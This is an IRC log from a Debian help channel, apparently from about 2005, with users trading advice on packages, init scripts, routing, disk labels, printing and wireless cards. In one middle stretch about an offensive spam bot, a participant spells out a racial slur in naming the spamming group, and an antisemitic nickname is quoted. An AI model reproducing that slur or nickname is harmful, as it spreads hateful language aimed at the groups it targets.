| 02:18.29 | bigfish | is there a way to scroll the comand line? outside of a window manger? |
| 02:18.53 | cafuego | s/bsd/bsd style/ |
| 02:18.55 | deadcat | cafuego: whats the cool map thing on your site? |
| 02:19.04 | cafuego | deadcat: The GeoIP thing? |
| 02:19.08 | michal_ | cafuego: shit attached to it? I thought the entore point of hurd was NOT to attach shit |
| 02:19.09 | deadcat | cafuego: ya. |
| 02:19.24 | cafuego | michal_: with shit I mean drivers :-) |
| 02:19.36 | deadcat | cafuego: which file do i apt-get? |
| 02:19.41 | chealer | bigfish: Shift+Page Up/Down |
| 02:19.54 | michal_ | cafuego: aren't drivers supposed to be almost all in userspace? |
| 02:19.56 | cafuego | deadcat: None, I wroted it all by myself with help from www.maxmind.com |
| 02:20.03 | deadcat | cafuego: cool. |
| 02:20.05 | cafuego | michal_: Yes, hence attached shit. |
| 02:20.09 | bigfish | chealer, ty |
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| 02:20.30 | cafuego | deadcat: /msg me an address I can mail it to. |
| 02:20.37 | deadcat | thanks |
| 02:20.37 | cafuego | deadcat: Actually, don't. lwt me tar it. |
| 02:20.43 | useruser | SNow: i fail to understand why you need to email everyone on that page |
| 02:20.47 | genix | peterS, Which programs do I need in Debian to work with C |
| 02:20.52 | useruser | SNow: your message is more likely to be ignored |
| 02:20.55 | peterS | genix: build-essential |
| 02:20.59 | michal_ | cafuego: well it's shirt if the user makes it shit :P |
| 02:21.02 | michal_ | shit |
| 02:21.03 | peterS | genix: it's a package that will suck in everything you need to get started |
| 02:21.04 | FieldySnuts | useruser: spamming |
| 02:21.29 | genix | peterS, I have used it before, when I was building a custom kernel |
| 02:21.30 | cafuego | genix: build-essential; manpages-dev might be handy too. And you'll need -dev packages for any additional libs you want to use. |
| 02:21.37 | gravity | ugh... onjoin spam |
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| 02:22.44 | gravity | Oh cute. And it's kawfee. |
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| 02:22.52 | dvs | he's back? |
| 02:23.00 | gravity | He's pathetic |
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| 02:23.12 | peterS | gravity: well, there's more to gnaa than kawfee, so one can't be sure |
| 02:23.17 | dvs | get over it, man! |
| 02:23.22 | gravity | peterS: Well, the bot is in his name |
| 02:23.36 | peterS | gravity: oh, ok then |
| 02:23.44 | sema4 | is there a way to get the uuid's of disks/partitions? |
| 02:23.44 | gravity | There he is |
| 02:23.46 | genix | cafuego, thanks |
| 02:24.01 | gravity | Still pathetic |
| 02:24.13 | FieldySnuts | one wonders how many years this can go on |
| 02:24.27 | FieldySnuts | did you get the one that blamed mwilson? |
| 02:24.34 | FieldySnuts | er, by permssion of, whatever |
| 02:24.54 | peterS | mine said permission of greycat. I'm so special |
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| 02:25.02 | FieldySnuts | that you are |
| 02:25.04 | FieldySnuts | he's not even here! |
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| 02:25.36 | mosty | i'm putting some machines into a rack at a data wharehouse, the sales rep there wants to know if i am going to use BGP or static routes. is BGP only useful for cases where there's a large number of dynamic hosts that may move between different gateways (eg like a national isp) ? |
| 02:25.52 | peterS | mosty: if you don't know you're using static routes. right. |
| 02:25.55 | FieldySnuts | you almost certainly won't be using BGP, if you needed it you'd definately know |
| 02:26.10 | peterS | mosty: BGP is horribly complex in comparison, if you want it you'll really *know* you want it |
| 02:26.11 | mosty | that's what i figured |
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| 02:26.24 | FieldySnuts | bgp is scary. i remembe rlearning that crap |
| 02:26.40 | mosty | cisco's BGP docs give me that impression, i just wanted to check |
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| 02:26.44 | mosty | thanks |
| 02:26.45 | peterS | FieldySnuts: beats me. I only half-learned any routing crap, never did quite get to BGP |
| 02:27.01 | FieldySnuts | gee you didn't get STP then lucky you |
| 02:27.07 | cookiemonsta | does anyone know where the start up file of sshd is...? |
| 02:27.19 | cookiemonsta | where it boot's from on start-up...? |
| 02:27.26 | deadcat | cafuego: it found me on the map. (= but not quite close if you know what i mean |
| 02:27.30 | bigfish | can someone tell me how to install the menus for enlightenment in debian? thanks |
| 02:27.31 | peterS | FieldySnuts: heh. I know in theory a little of how STP, RIP and OSPF work. I haven't had any practical experience |
| 02:27.35 | mosty | cookiemonsta, the startup script, or the config file? |
| 02:27.43 | cookiemonsta | the startup script.. |
| 02:27.50 | cookiemonsta | so the script that loads it.. |
| 02:27.51 | pepsi | how do i make it so that i can click links and have them open in a browser? |
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| 02:28.12 | idis | cookiemonsta: they all live in /etc/init.d/ |
| 02:28.15 | mosty | cookiemonsta, init scripts are located in /etc/init.d/ man init to see how they're actually started |
| 02:28.36 | cookiemonsta | yeah, but it's only got ssh in their.. |
| 02:28.42 | bigfish | or rather the package name if that easier I know how to use apt |
| 02:28.42 | dvs | cookiemonsta: man update-rc.d to install/remove them |
| 02:28.43 | cookiemonsta | i dont want to quit the client aswell.. |
| 02:28.44 | abrotman | !moo |
| 02:28.44 | dpkg | mooooooo! I am cow, hear me moo, I weigh twice as much as you. I'm a cow, eating grass, methane gas comes out my ass. I'm a cow, you are too; join us all! Type apt-get moo. http://bugs.debian.org/175939, or cowsay -f stimpy Nummies |
| 02:29.05 | cookiemonsta | ta |
| 02:29.16 | ColonelKernel | somoene really ought to call out some ops on the transsexual guy |
| 02:29.27 | abrotman | wtf are you talkinga bout |
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| 02:29.30 | ColonelKernel | he's got quite the filthy auto-greet |
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| 02:29.38 | bigfish | the transguy is bugging me too |
| 02:29.38 | dvs | abrotman: It's drive by messaging |
| 02:29.39 | abrotman | i haven't gotten jack from him |
| 02:29.46 | gravity | abrotman: It's kawfee |
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| 02:29.48 | FieldySnuts | you are probably set +E |
| 02:29.50 | abrotman | so kill him ? |
| 02:29.55 | abrotman | FieldySnuts: oh . i am :) |
| 02:29.56 | bigfish | login and out he will get you |
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| 02:30.05 | ColonelKernel | maybe you have him on ignore or something - but he's advertising racist gay porn |
| 02:30.07 | bigfish | he only does it to ppl who log in |
| 02:30.11 | gdub | transguy sUxors |
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| 02:30.12 | dvs | bigfish: You don't have to logout and login again. |
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| 02:30.32 | fortysixand2 | GNAA? |
| 02:30.34 | bigfish | i thought so , it was my first msg when I /join #debian |
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| 02:30.39 | dvs | fortysixand2: yup |
| 02:30.43 | bigfish | meh thats what i was trying to say |
| 02:30.44 | peterS | fortysixand2: yeah, the gay niggers association of america |
| 02:30.44 | ColonelKernel | i'd post what he msgd me but to be honest, its too offensive |
| 02:30.51 | fortysixand2 | figures |
| 02:31.04 | FieldySnuts | didn't have to spell it out |
| 02:31.11 | liable | peterS: that one was sposored by you :P |
| 02:31.13 | cookiemonsta | i still cant find them.. |
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| 02:31.20 | sema4 | anyone know how to set the label and uuid for a vfat partition? |
| 02:31.23 | peterS | liable: it was? neat |
| 02:31.39 | ColonelKernel | !ops help! transsexual is autogreeting with some rather offensive porn |
| 02:31.40 | peterS | sema4: vfat doesn't have a uuid, I believe. the label can be set with 'mlabel' from mtools |
| 02:31.41 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: help! transsexual is autogreeting with some rather offensive porn |
| 02:31.55 | dvs | ColonelKernel: They already know |
| 02:31.57 | sema4 | peterS: thanks |
| 02:32.00 | peterS | ColonelKernel: who do you propose they kick, then? |
| 02:32.07 | ColonelKernel | i dont know who is who |
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| 02:32.22 | peterS | ColonelKernel: who should get kicked off #debian? |
| 02:32.27 | FieldySnuts | transexual is gone anyway |
| 02:32.32 | dvs | abrotman: You don't have to logout and login. It just comes on it's own |
| 02:32.40 | abrotman | dvs: some is onjoin |
| 02:32.41 | ColonelKernel | peterS, i dont know, perhaps the bot can be glined. |
| 02:32.44 | FieldySnuts | he's not logging in and out he's just parting and joining |
| 02:32.53 | dvs | abrotman: Mine was not. I was here the entire time |
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| 02:32.58 | peterS | ColonelKernel: debian ops don't have that power. complain in #freenode, perhaps |
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| 02:33.04 | ColonelKernel | mkay |
| 02:33.08 | FieldySnuts | nothing now |
| 02:33.11 | abrotman | dvs: i got from jewsdidwtc as soon as i joined |
| 02:33.19 | FieldySnuts | ... nice fucking nick |
| 02:33.21 | abrotman | FieldySnuts: i had staff kline |
| 02:33.29 | FieldySnuts | right on! |
| 02:34.06 | abrotman | FieldySnuts: i had +E from the php4-gd guy earlier .. |
| 02:34.12 | FieldySnuts | ~kawf_ee ... |
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| 02:34.16 | abrotman | nice eh ? |
| 02:34.23 | FieldySnuts | what a shit head |
| 02:34.27 | genix | peterS, Where can I find the source code for: apt-setup I want to look how the menu is build |
| 02:34.35 | peterS | genix: apt-get source |
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| 02:35.03 | ColonelKernel | reported in #freenode |
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| 02:35.06 | peterS | genix: use 'dpkg -S apt-setup' to see what package you need the source to |
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| 02:35.12 | f | Excellent. |
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| 02:35.41 | kuroaisu | I'm confused, and the website seems to still have some pre woody(stable) info.. What is the current unstable? I found something that said "sid" is always the unstable, but I didn't know if that was litteral or not. |
| 02:36.00 | peterS | kuroaisu: that's correct |
| 02:36.08 | ColonelKernel | kuroaisu, that is literal |
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| 02:36.14 | peterS | kuroaisu: sid is always unstable. stable is currently sarge, eventually it will be etch |
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| 02:36.36 | kuroaisu | ok, so etch is the new "testing" |
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| 02:36.40 | peterS | kuroaisu: yep |
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| 02:36.43 | dvs | kuroaisu: youp |
| 02:37.06 | kuroaisu | I run several woody servers.. and I'm looking to push teh edge on a desktop I don't use much.. testing or unstable? |
| 02:37.07 | greyson | dvs: ip, youp, weallp...? |
| 02:37.41 | Hostile | kuroaisu, pushing the edge that would be unstable |
| 02:37.45 | dvs | greyson: noupe |
| 02:37.49 | ColonelKernel | kuroaisu, try out ubuntu |
| 02:37.51 | Hostile | kuroaisu, but at this time, be prepared for stuff to break :) |
| 02:38.00 | Hostile | !ubuntu |
| 02:38.00 | dpkg | ubuntu is probably a see http://www.ubuntulinux.org. IRC channel is #ubuntu, or http://interviews.slashdot.org/comments.pl?sid=144934&cid=12136879 or "Based on Debian" |
| 02:38.01 | ColonelKernel | kernel 2.6.10, gnome 2.10, xorg, good stuff |
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| 02:38.11 | Hostile | !debian based |
| 02:38.11 | dpkg | Knoppix, Libranet, Corel/Xandros, Stormix, Progeny, Linspire, DamnSmallLinux, Xebian, Ubuntu, Mepis, and so on are *not* Debian. Just because something's "based on" Debian doesn't mean we can support it. We're supporting Debian, let your distro's support network support it. Ask me about "d-i". |
| 02:38.11 | idis | Hostile: there is nothing after that edge anyway |
| 02:38.25 | kuroaisu | ColonelKernel: I've thought about that.. you like, apparently? |
| 02:38.33 | ColonelKernel | heres the thing - you cant use vanilla kernels on it, but I like it a lot |
| 02:38.37 | Bac9 | is there any way to get gpr to stop poping up every time I try to print and asking for a ppd file? what ppd file does it want? |
| 02:38.48 | Hostile | kuroaisu, well, ubuntu is more based for the new to linux user |
| 02:38.59 | kuroaisu | ColonelKernel: I'd probably use packaged kernels anyway.. |
| 02:39.02 | mosty | ColonelKernel, i've used vanilla kernels on ubuntu before |
| 02:39.07 | reamtS | ColonelKernel: what is vanilla kernels, and where can I find more? |
| 02:39.08 | kuroaisu | Hostile: yah, see, that's not what I want.. |
| 02:39.12 | ColonelKernel | Hostile, yeah the setup is a snap, but otherwise its debian, just w a diff set 'o packages |
| 02:39.25 | buu | I'm afraid this is sort of a 'poll' type question, but can anyone point me at an easy to set up / configure / maintain DNS server? |
| 02:39.25 | ColonelKernel | reamtS, www.kernel.org ? |
| 02:39.37 | peterS | BUUUU |
| 02:39.39 | kuroaisu | I don't want "brainlessly" easy.. but I do want something that I have alot of flexibility with, and dont' have to waste alot of time compiling things for |
| 02:39.46 | ColonelKernel | buu, bind? (named) |
| 02:39.47 | Hostile | I dunno Ive read reviews comparing debian to ubuntu and they said ubuntu is not good if you want to get down and dirty |
| 02:39.48 | buu | peterS: Yeah. Hi. |
| 02:39.49 | mosty | bac9: i think ppd files somehow describe the language that the printer understands |
| 02:39.58 | Hostile | kuroaisu, for that Id reccommend debian |
| 02:40.04 | sema4 | peterS: mlabel wants to take a "drive" as an arg .... but it's not a floppy |
| 02:40.11 | ColonelKernel | Hostile, ubuntu seems fine to me, just like debian cept for the vanilla kenrels thing |
| 02:40.13 | Bac9 | mosty: how do I tell it to just use postscript? the thing it's supposed to use anyway? |
| 02:40.15 | peterS | sema4: right, you have to define drive letters in /etc/mtools.conf |
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| 02:40.24 | kuroaisu | Hostile: see, that's enough to scare me away.. I'm not a linux god but, I've been using it for ages.. |
| 02:40.29 | ColonelKernel | I dont know what you mean by down and dirty though |
| 02:40.31 | peterS | sema4: it's a bit of a kludge, to be sure, for what you want to use it for. but it's the only way to change fat labels I know |
| 02:40.44 | kuroaisu | ColonelKernel: slackware :) |
| 02:40.51 | kuroaisu | at elast back when I once used it |
| 02:40.51 | Hostile | kuroaisu, same here...I am decent with linux, past ubuntu |
| 02:40.52 | cafuego | deadcat: http://ww.cafuego.net/stuff/geoip.tar.bz2 |
| 02:40.53 | ColonelKernel | never messed with slackware |
| 02:40.57 | deadcat | cafuego: thanks |
| 02:41.08 | mosty | bac9: i'm not sure, but true postscript printers should be very easy to use. see the printing howto ? |
| 02:41.12 | fortysixand2 | down & dirty = LFS |
| 02:41.14 | Hostile | slackware is becoming outdated. |
| 02:41.15 | Hostile | lol |
| 02:41.23 | idis | kuroaisu: if you fear to break things, you could use testing which delays packages at entrance, so bugs get filled with unstable users |
| 02:41.24 | kuroaisu | ColonelKernel: I have no idea about newer versions.. but I loved it ages ago (97-99) |
| 02:41.24 | cafuego | deadcat: Let me know if anything is missign from that file |
| 02:41.25 | Hostile | fortysixand2, thats down and muddy as hell |
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| 02:41.32 | deadcat | cafuego: ok |
| 02:41.35 | ColonelKernel | i mean if you REALLY want soemthing to mess with use gentoo |
| 02:41.35 | fortysixand2 | Hostile: very true! |
| 02:41.39 | Hostile | I started using linux on slackware |
| 02:41.42 | Hostile | no |
| 02:41.44 | Hostile | !gentoo |
| 02:41.44 | dpkg | i guess gentoo is a ports-based Linux distro for x86, PowerPC, Sparc, Sparc64. Maybe akin to BSD. Something you don't want to administer more than 2 of. Nice file browser. Its users are gentoobies. See Also http://www.debian.org/News/weekly/2003/44/ http://www.devcave.net/termos/funny/gentoo.htm http://www.funroll-loops.org/, or ask me about 'greenhouse'. bash.org/?464385, or rice rice rice rice, or http://www.arouse.net/despair-linux/gentoo.jpg |
| 02:41.46 | maher | cafuego: mind if i grab a copy too? |
| 02:41.46 | Bac9 | mosty: I have no problem printing postscript, but for gnome apps I have to print to file and then use lpr manually otherwise this stupid gpr message keeps poping up |
| 02:41.53 | cafuego | maher: knock yerself out |
| 02:41.57 | ColonelKernel | i got better performance out of debian than gentoo though |
| 02:42.03 | Hostile | gentoo causes global warming |
| 02:42.06 | cafuego | deadcat: And stay away from my wife |
| 02:42.06 | ColonelKernel | I guess all programs arent meant to be optimized |
| 02:42.07 | Hostile | !global warming |
| 02:42.08 | peterS | Hostile: this isn't a distribution advocacy channel. honestly, we don't really care what your history is with linux distributions or why you ended up on debian or whatever |
| 02:42.15 | kuroaisu | ColonelKernel: yah, see, I think gentoo is just too much work. It's really cool, and I see why some people love it.. I just don't have _that_ much geek time anymore.. |
| 02:42.22 | deadcat | cafuego: i didnt touch you wife. i told you (= |
| 02:42.23 | Hostile | peterS, dude what the hell |
| 02:42.35 | cafuego | deadcat: t('.'t) |
| 02:42.37 | Hostile | peterS, we are just talking about linux distros...chill out |
| 02:42.39 | sema4 | peterS: thanks ... that worked ... one other thing ... when I do blkid ... the other vfat partition has an UUID |
| 02:42.39 | deadcat | hahah |
| 02:42.39 | ColonelKernel | kuroaisu, me either, esp when the deb packages run like the bejeezus |
| 02:42.52 | abrotman | Hostile: he's right |
| 02:42.54 | kuroaisu | peterS: oops, sorry, I started this conversation not really meaning to.. |
| 02:43.00 | peterS | Hostile: even so, you're offtopic and contributing an alarming amount of noise to the channel |
| 02:43.19 | kuroaisu | peterS: really, my bad. |
| 02:43.33 | Hostile | whatever dude, kuroaisu was asking what distro to use and your being an ass |
| 02:43.38 | peterS | kuroaisu: yeah, it's ok, I just saw that the distro discussion was going on and on and eventually I had to say something |
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| 02:43.46 | d03boy | go t #debian-chat |
| 02:43.48 | kuroaisu | last question... .jigdo or.torrent link for a sid cd? |
| 02:43.49 | mosty | Bac9, i've never used gpr before, i don't know what it's doing sorry |
| 02:43.58 | Hostile | kuroaisu, do a netinst |
| 02:44.02 | ColonelKernel | Hostile, youve got the right name for the channel you are in |
| 02:44.10 | Bac9 | mosty: neither have I, but it keeps poping up, I am not calling it myself |
| 02:44.16 | cafuego | deadcat/maher: Note that copying this off my site is probably against the GeoIP licence. |
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| 02:44.20 | Hostile | dude...those jokes about my name are fucking annoying...that is so old and lame |
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| 02:44.38 | ColonelKernel | evidently for you too |
| 02:44.39 | mknisely | Looking for a good way to manage DNS. Something other than a text editor or Webmin... any suggestions? |
| 02:44.42 | kuroaisu | Hostile: install the floppies and change the soucres.list before running dpkg? |
| 02:44.49 | kuroaisu | er, dselect.. |
| 02:44.50 | ColonelKernel | anyhow, brb folks, gotta boot into 2.6.12 |
| 02:44.50 | deadcat | cafuego: they know where i live. (= |
| 02:44.51 | kuroaisu | rather. |
| 02:45.07 | Hostile | kuroaisu, I used the netinst cd...installed the base system...then ran aptitude and installed what I wanted |
| 02:45.08 | cafuego | deadcat: They have an IP2ICBM lib, beware! ;-) |
| 02:45.24 | deadcat | cafuego: luckily i dont know what that is. so i dont have to worry heh |
| 02:45.35 | Hostile | kuroaisu, that way you are only downloading what you need |
| 02:45.37 | maher | cafuego: i started to hack something up to show my travels - currently i'm leaching from geobytes.com |
| 02:45.37 | mknisely | cafeugo - amusing lib... |
| 02:45.40 | Hostile | \want |
| 02:45.41 | idis | kuroaisu: you'd better have aptitude as package manager now... |
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| 02:46.21 | cafuego | maher: I found something kinda like this that was hosted elsewhere, but they'd closed signups due to overload. Thouight I'd just write my own, which turned out to be trivial anyway. |
| 02:46.22 | Hostile | kuroaisu, no, just start the base system the netinst installs...then run apt-config, then run aptitude |
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| 02:46.37 | Hostile | kuroaisu, then you got an up and running system :) |
| 02:46.37 | maher | cafuego: given that my travels will take me to several dozen different ips/year i suspect whoever I pick will cope... |
| 02:46.39 | kuroaisu | idis: I haven't used it.. I should check it out. I've always used debian for servers where once I ahve a base system I jsut need small package groups.. apache, postfix.. etc.. |
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| 02:46.57 | mknisely | Anyone have suggestions for my DNS management? Don't want to use text editor or webmin. |
| 02:47.04 | kuroaisu | Hostile: K, here i go.. :) |
| 02:47.13 | Hostile | ok kuroaisu good luck, im going to eat some ice cream |
| 02:47.15 | idis | kuroaisu: that was just wrt deselect not being maintained much these days |
| 02:47.19 | eowo | what is the best program to use if i want to set up webdav? |
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| 02:47.33 | abrotman | for serving or client ? |
| 02:47.37 | cafuego | mknisely: Windows 2000 with point-n-click joy. |
| 02:47.38 | deadcat | cafuego: Fatal error: Call to undefined function: imagecreatefromjpeg() in /home/www-data/tmp/geoip/geo.png.php on line 20 |
| 02:47.48 | cafuego | deadcat: You need php4-gd |
| 02:47.49 | idis | kuroaisu: that's what sarge release notes say even |
| 02:47.53 | deadcat | cafuego: ah. |
| 02:47.56 | kuroaisu | idis: yah, I hadn't thought about that.. |
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| 02:48.02 | eowo | i downloaded libneon24 but it dosendt really give me any clues on how to set it up |
| 02:48.12 | mknisely | cafuego: and getting hacked weekly.... |
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| 02:48.34 | reamtS | where is the dmesg log file hiding? |
| 02:48.40 | abrotman | /var/log |
| 02:48.41 | cafuego | reamtS: in the kernel. |
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| 02:49.02 | deadcat | cafuego: need mysql_query? i aint using any database. |
| 02:49.05 | RvGaTe | http://pc.rvgate.nl/ <- haad to share this :P |
| 02:49.06 | peterS | reamtS: /var/log/kern.log if you are running klogd |
| 02:49.11 | RvGaTe | * had |
| 02:49.17 | Bac9 | anyone here have problems printing from gtk apps? gpr keeps poping up for me and asking for some ppd file, can anyone help? |
| 02:49.26 | cafuego | deadcat: Yes, it stores IPs in the DB and also a list of country coords. |
| 02:49.39 | cafuego | deadcat: You could rewrite it to use ascii files I guess. |
| 02:49.43 | deadcat | cafuego: that explains the geo.sql. oh well. |
| 02:50.25 | cafuego | deadcat: or parse apache's access.log on the fly >;-) |
| 02:50.57 | deadcat | cafuego: (= |
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| 02:52.05 | deadcat | ftp-master and the other one is back online? |
| 02:52.06 | cafuego | sadly my own ISP has Ips that aren't in the free database :-( |
| 02:52.11 | peterS | deadcat: apparently |
| 02:52.19 | peterS | deadcat: I haven't checked, but that's the rumor |
| 02:52.29 | deadcat | peterS: but the developers are in no hurry to upload i see (= |
| 02:52.35 | Bac9 | is the printer something as extinct as the dinosours? |
| 02:52.43 | peterS | deadcat: the mirrors only get updated once or twice a day |
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| 02:53.00 | bigfish | can someone help autosetup menus for enlightenment, like app menus |
| 02:53.10 | abrotman | !Katie |
| 02:53.10 | dpkg | somebody said katie was who I seek to emulate, or the daemon in the Debian archive system that processes new packages and inserts them into the archive. It runs at 1952 UTC daily. the women.kde.org mascot, or 166.82.1.7 |
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| 02:53.24 | deadcat | bigfish: you the only one uses E in here. |
| 02:53.43 | bigfish | you can't be serious/ |
| 02:53.52 | deadcat | bigfish: no bro. you on your own. |
| 02:54.17 | bigfish | um is there a way to find out what packages are in each debian cd? |
| 02:54.25 | reamtS | How do I append or echo to 'dmesg'? |
| 02:54.29 | eowo | cant anybody help me setup webdav on my server? i just need to know what the best package to install would be. |
| 02:54.30 | deadcat | bigfish: mount them. |
| 02:54.36 | mosty | reamtS, why would you want to? |
| 02:54.40 | bigfish | if I don't have them |
| 02:54.46 | deadcat | bigfish: no. |
| 02:54.47 | idis | bigfish: is find |xargs a valid one? |
| 02:54.54 | bigfish | deadcat, I want to only download the ones I dnedd |
| 02:55.22 | deadcat | dont know what dnedd is |
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| 02:55.33 | bigfish | I would use apt-get and the sources on the web, but Im not connected on my laptop and dont have my x over usb cable |
| 02:55.45 | bigfish | and I don't have usb ;P |
| 02:56.03 | greyson | bigfish: How about ethernet? Ethernet's good. |
| 02:56.15 | deadcat | bigfish: you're loosing me |
| 02:56.19 | mosty | bigfish, start with cd1 |
| 02:56.20 | bigfish | right, it in the mail, im stuck with cdroms now |
| 02:56.22 | reamtS | mosty: so I check for the date of the system log. |
| 02:56.22 | chealer | !debbuild |
| 02:56.22 | chealer | !no, debbuild is dpkg-source -x foo.dsc; cd foo-x.y.z; dpkg-buildpackage -uc -us |
| 02:56.22 | dpkg | debbuild is probably dpkg-source -x blah.diff; cd blah-x.y.z; dpkg-buildpackage -uc -us |
| 02:56.32 | greyson | bigfish: Ah... in that case. Wait. |
| 02:56.40 | bigfish | i have three right now, but its not enough for the rest of enlightenment stuff |
| 02:57.04 | mosty | reamtS, look at /var/log/messages (it already has the date) |
| 02:57.06 | chealer | BTW, what does debbuild mean? |
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| 03:00.29 | pepsi | why does it only take 2 seconds to launch mozilla-firefox with debian and it takes 10 seconds in ubuntu? |
| 03:00.41 | FieldySnuts | we wouldn't know, we only know about pure debian |
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| 03:01.02 | pepsi | well |
| 03:01.05 | pepsi | thats what im asking about |
| 03:01.31 | mosty | pepsi, ask #ubuntu ? |
| 03:02.02 | ColonelKernel | pepsi - the ubuntu channel is very helpful too |
| 03:03.14 | bigfish | whats faster kdm or gdm? |
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| 03:03.41 | peterS | bigfish: why on earth would it matter? |
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| 03:03.56 | peterS | bigfish: the point is to present you with a pretty picture while you log in. where does speed come into it? |
| 03:03.58 | FieldySnuts | the term fast or faster with kdm or gdm is quite irrelevant |
| 03:04.11 | pepsi | could it be that its faster because i did a minimal debian install, plus gnome-core and mozilla-firefox? i dont understand how more isntalled packages would increase startup time for one particular app though |
| 03:04.13 | FieldySnuts | if you need something faster use straight xdm |
| 03:04.25 | FieldySnuts | ugly but gets the same task done |
| 03:04.37 | peterS | FieldySnuts: I rather suspect kdm/gdm are being used here as proxies for KDE and GNOME |
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| 03:05.15 | bigfish | well Ill be using it with enlightenmnet pepsi , but i meant in terms of start time |
| 03:05.30 | pepsi | ?! |
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| 03:05.59 | mosty | pepsi, perhaps you have more mozilla addon packages installed on one setup |
| 03:05.59 | bigfish | FieldySnuts |
| 03:06.00 | madclicker_ | ahoy |
| 03:06.21 | bigfish | guess hes gon |
| 03:06.24 | pepsi | mosty, you are right.. i have not gotten flash or java working yet :) |
| 03:06.28 | Bac9 | anyone here have problems printing from gtk apps? gpr keeps poping up for me and asking for some ppd file, can anyone help? |
| 03:06.35 | madclicker_ | need help installing debian on 955 chipset, Pentium D 840 |
| 03:06.53 | mosty | madclicker: what's the problem? |
| 03:07.28 | madclicker_ | mosty: cant detect "patitionable media" |
| 03:07.28 | ColonelKernel | madclicker, decent - whats the problem |
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| 03:07.52 | liable | Bac9: do you have a ppd file for the printer in /etc/cups? |
| 03:08.00 | ColonelKernel | madclicker, what version of install are you using? |
| 03:08.03 | mosty | madclicker: serial ata hard drive? |
| 03:08.06 | Bac9 | liable: I don't use cups, I use lpr |
| 03:08.26 | peterS | Dragon-Eater: we don't care, please turn off that script |
| 03:08.27 | mosty | bac9: http://www.linuxprinting.org/ppd-doc.html |
| 03:08.46 | madclicker_ | mosty: yes, i've tried comatible mode advanced mode or ahci on the bios bit no cigar |
| 03:09.02 | Bac9 | mosty: why do I need a ppd file at all? the lpr system works just fine without them |
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| 03:09.40 | peterS | madclicker_: hmmm, the SATA ahci driver might not be in kernel 2.6.8 |
| 03:09.52 | mosty | bac9: it looks like the ppd file has other info about printer capabilities (perhaps stuff like if the printer can do double sided printing) |
| 03:10.08 | madclicker_ | mosty: i've been using debian for 4 month on my desktop and now am left to dry..... HELP |
| 03:10.29 | Bac9 | mosty: the lpr system just send the job to a different box, it's not even a local printer |
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| 03:10.39 | liable | madclicker_: is it supported by later kernels? |
| 03:10.52 | madclicker_ | peterS: i had 925 chipset prior to 955 and it would atleast work with "compatible mode" |
| 03:11.29 | mosty | madclicker, it looks like you need to find a debian installer with a newer kernel, at least 2.6.10 |
| 03:11.39 | madclicker_ | liable: whats the letest kernel, sarge is 2.6.8 and i tried ubuntu also with 2.6.10 :( |
| 03:11.52 | maher | what's the widget called that's like a slider but has two thingies in it you canmove? |
| 03:12.49 | liable | madclicker_: have a look here. http://linux.yyz.us/sata/sata-status.html#tware |
| 03:13.03 | madclicker_ | liable: on it! |
| 03:13.48 | bigfish | anyone have suggestions for a good linux compatible pcmcia wireless card? |
| 03:14.10 | bigfish | looking for g |
| 03:14.13 | bigfish | bannd |
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| 03:14.19 | chealer | bigfish: http://www.ncix.com/products/index.php?sku=10777&vpn=SMC2835W-CA&manufacture=SMC |
| 03:14.22 | cafuego | bigfish: 9.81 m/s^2 |
| 03:14.25 | mosty | bigfish, i usually look at www.prism54.org and pick one of the cards they support that i can find in stores |
| 03:14.34 | madclicker_ | liable: on the site they mention "AHCI: Intel ICH6-R/M" i have ICH7 |
| 03:14.39 | bigfish | great im going to look now |
| 03:14.41 | bigfish | ty |
| 03:14.48 | cafuego | bigfish: BE CAREFUL |
| 03:14.56 | bigfish | why? |
| 03:15.03 | cafuego | bigfish: Some cards come in versions 1 through 3 where 1 works, but 2 or 3 won't. |
| 03:15.12 | bigfish | for all of them? |
| 03:15.14 | cafuego | Note Netgear WG511 |
| 03:15.18 | cafuego | bigfish: A lot |
| 03:15.31 | bigfish | thats not good |
| 03:15.39 | cafuego | bigfish: Some manufacturers switch chipsets without changing model/revision. |
| 03:15.47 | mosty | bigfish, i personally have a 3com officeconnect g, it was cheap and works well |
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| 03:16.26 | bigfish | mosty, did you buy it from ebay? >>> BRB |
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| 03:16.57 | mosty | no, i went to a store |
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| 03:17.38 | chealer | "This file was last modified on: January, 26 2005 @ 09:01 pm UTC "...perhaps it's not up-to-date. but yeah, there's one rule buying wireless for linux : be careful |
| 03:17.53 | pepsi | where can i learn about the different repositories? |
| 03:18.14 | chealer | what kind of repositories? |
| 03:18.17 | tvn | bigfish: I am on a Netgear WG511 (version 2) now .... it uses prism chipset and fully supported (even with WEP) |
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| 03:18.22 | pepsi | i dunno, what else is there besides main? |
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| 03:18.53 | WiFiTux | anyone has an Idea, on how can I finger a server to know the info of a user. Just name and last name? |
| 03:19.10 | liable | bigfish: if you want wap, look at the supported cards for wpa-supplicant too. |
| 03:19.24 | Ghostbuster | non-free and contrib |
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| 03:19.59 | peterS | WiFiTux: depends on the finger server. most people don't even run these anymore, it's considered a security risk |
| 03:20.15 | bigfish | Im in the country wep is fine |
| 03:20.26 | bigfish | i don't even think its so much necessary |
| 03:20.45 | WiFiTux | peterS: well, we do. I have access to ns.isi, but not to ns, I just need a name, can't I simply finger then servername and username? |
| 03:20.59 | cafuego | WiFiTux: finger user@server |
| 03:21.16 | bigfish | mosty, was it hard to set up or did something like kudzu do it for you? |
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| 03:21.31 | WiFiTux | cafuego: hahaaaa! worked! |
| 03:21.50 | cafuego | telnet server finger; user <return> |
| 03:21.51 | peterS | WiFiTux: username@servername. but 'username' is interpreted by the finger server, and some are remarkably configurable |
| 03:21.53 | mosty | bigfish, what's kudzu? i just compiled a kernel with support, and it worked |
| 03:22.00 | bigfish | oh |
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| 03:22.23 | bigfish | mosty, kudzu is a redhat thing, I think ubuntu uses it also |
| 03:22.39 | liable | kudzu is redhats hardware detection thing, is available for debian too iirc |
| 03:22.54 | bigfish | mosty, alot of distro's |
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| 03:23.54 | bigfish | mosty, do I have to use a g card with a g router,, or can I use an older card, that card your using is still a bit to pricey atm |
| 03:24.21 | fortysixand2 | what stores sell mini pci wireless cards? |
| 03:24.50 | liable | bigfish: the router should be backwards compatible, open up the admin page for it. |
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| 03:24.52 | binarydigit | use your brain |
| 03:25.02 | bigfish | the netgear seems a bit cheaper |
| 03:25.33 | mosty | bigfish, most 802.11g routers also support 802.11b, but that forces everyone using the router to use it at 11mbps |
| 03:25.56 | mosty | bigfish, any of the prism54 supported cards should be ok. see what the website has to say on the matter |
| 03:25.58 | bigfish | well it would only be atm, and i don't have a really highspeed connectioin or many pc's |
